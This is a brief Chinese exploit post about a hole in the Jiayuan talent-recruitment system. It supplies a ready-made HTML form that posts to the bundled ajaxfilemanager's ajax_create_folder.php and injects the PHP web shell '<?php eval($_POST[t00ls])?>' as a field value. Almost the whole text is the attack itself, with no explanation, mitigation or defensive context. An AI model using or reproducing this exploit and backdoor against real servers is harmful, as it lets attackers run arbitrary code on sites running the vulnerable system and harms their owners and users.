嘉缘人才系统漏洞

jiayun.html：

<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();"><input type="text" value="http://127.0.0.1/freditor/plugins/ajaxfilemanager/ajax_create_folder.php" name="doaction" style="width:400"><br /><input type="text" value="<?php eval($_POST[t00ls])?>" name="foo" style="width:400"><br /><input type="submit" value="提交" name="QuickSearchBtn"><br /></form><script>function addaction(){ document.QuickSearch.action=document.QuickSearch.doaction.value;}</script>